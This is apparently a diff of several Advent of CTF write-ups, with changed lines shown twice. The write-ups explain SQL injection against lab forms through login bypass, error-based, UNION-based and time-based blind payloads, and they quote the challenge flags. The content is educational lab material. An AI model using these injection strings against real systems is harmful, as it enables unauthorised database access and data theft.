@ -72,7 +72,7 @@ The query becomes invalid as there is an unterminated string. So, how do we turn
## Solution
## Solution
Firstly, I tried to use `' OR 1=1 --` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' --` for the username, the password doesn't matter.
Firstly, I tried to use `' OR 1=1 --` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' --` for the username, the password doesn't matter.
The resulting query would be this:
The resulting query would be this:
@ -90,7 +90,7 @@ As [@credmp](https://twitter.com/credmp) correctly pointed out, this only works
### Getting the database
### Getting the database
As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`. This results into the following query:
As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`. This results into the following query:
```sql
```sql
FROM `users` SELECT * WHERE `username`='' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) as x FROM information_schema.tables GROUP BY x) as y) -- ' AND `password`=''
FROM `users` SELECT * WHERE `username`='' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) as x FROM information_schema.tables GROUP BY x) as y) -- ' AND `password`=''
@ -167,7 +167,7 @@ We can only get the tables one by one (as I explained above) so we can use the f
SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1
SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1
```
```
Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
_Note: to get next table, just edit the `LIMIT` to `1,1`, `2,1` and so on_
_Note: to get next table, just edit the `LIMIT` to `1,1`, `2,1` and so on_
@ -187,7 +187,7 @@ A sub-query for columns could be the following:
SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1
SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1
```
```
Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Which gives us (with other `LIMIT` as well):
Which gives us (with other `LIMIT` as well):
@ -211,7 +211,7 @@ A simple `SELECT` query for the username would be:
SELECT username from users limit 0,1
SELECT username from users limit 0,1
```
```
Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
@ -62,7 +62,7 @@ If this were the query, we could use a `UNION SELECT` to add our own query. Let'
UNION SELECT table_name, 2, 3 FROM information_schema.tables
UNION SELECT table_name, 2, 3 FROM information_schema.tables
```
```
The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables --`. This way the query that will be executed becomes this:
The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables --`. This way the query that will be executed becomes this:
```sql
```sql
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
@ -254,7 +254,7 @@ The flags table at the bottom looks interesting. Let's grab it's contents. To ge
UNION SELECT (SELECT * FROM flags), 2, 3
UNION SELECT (SELECT * FROM flags), 2, 3
```
```
This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 --`.
This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 --`.
After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`.
After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`.
@ -272,7 +272,7 @@ Because the `secrets` table a more than one column, we need to know the column n
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
```
```
Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" --`.
Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" --`.
After remove the results from the original query, we get the following:
After remove the results from the original query, we get the following:
@ -290,7 +290,7 @@ UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets
The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters.
The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters.
This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets --` as the input.
This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets --` as the input.
@ -44,13 +44,13 @@ This time, no error message is shown. But the output is! (I'll get back to that
SELECT why FROM naughty WHERE why LIKE '%search text%';
SELECT why FROM naughty WHERE why LIKE '%search text%';
```
```
If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 --` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 --`. If this would be inserted inside the query we would get this:
If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 --` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 --`. If this would be inserted inside the query we would get this:
```sql
```sql
SELECT why FROM naughty WHERE why LIKE '%' OR 1=1 -- %';
SELECT why FROM naughty WHERE why LIKE '%' OR 1=1 -- %';
```
```
If we input this (`' OR 1=1 --`) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`
If we input this (`' OR 1=1 --`) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#7-8).
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#7-8).
@ -102,7 +102,7 @@ Now that we know the table name, we can then get the columns from it with this q
SELECT column_name FROM information_schema.columns WHERE table_name = "naughty"
SELECT column_name FROM information_schema.columns WHERE table_name = "naughty"
```
```
If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" --`. This return the following rows:
If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" --`. This return the following rows:
| Who? |
| Who? |
| -------- |
| -------- |
@ -118,7 +118,7 @@ Knowing the table and column names, we can get all rows in the table. This outpu
Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty --`, which, after submitting it, gives us one row:
Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty --`, which, after submitting it, gives us one row:
| Who? |
| Who? |
| ------------------------------------------- |
| ------------------------------------------- |
@ -148,7 +148,7 @@ SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) EL
This would run `BENCHMARK(9000000,MD5(1))` if the sub-query returns more than 1 row. The `BENCHMARK()` is used because it's a function that takes a while to run.
This would run `BENCHMARK(9000000,MD5(1))` if the sub-query returns more than 1 row. The `BENCHMARK()` is used because it's a function that takes a while to run.
This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
If we replace `a` with another letter we can find out the database name like this:
If we replace `a` with another letter we can find out the database name like this:
@ -177,6 +177,6 @@ To get the tables inside the database, the same method will have to be used. An
SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END
SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END
```
```
Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
By using this method, we can get the all database records but it will take a long time.
By using this method, we can get the all database records but it will take a long time.
@ -41,7 +41,7 @@ This is talking about robots, which my be a hint to look at the [`robots.txt`](h
### What is a robots.txt file?
### What is a robots.txt file?
A `robots.txt` file lives at the root of a website. So, for the site www.example.com, a robots.txt file would live at www.example.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.
A `robots.txt` file lives at the root of a website. So, for the site www\.example\.com, a robots.txt file would live at www\.example\.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.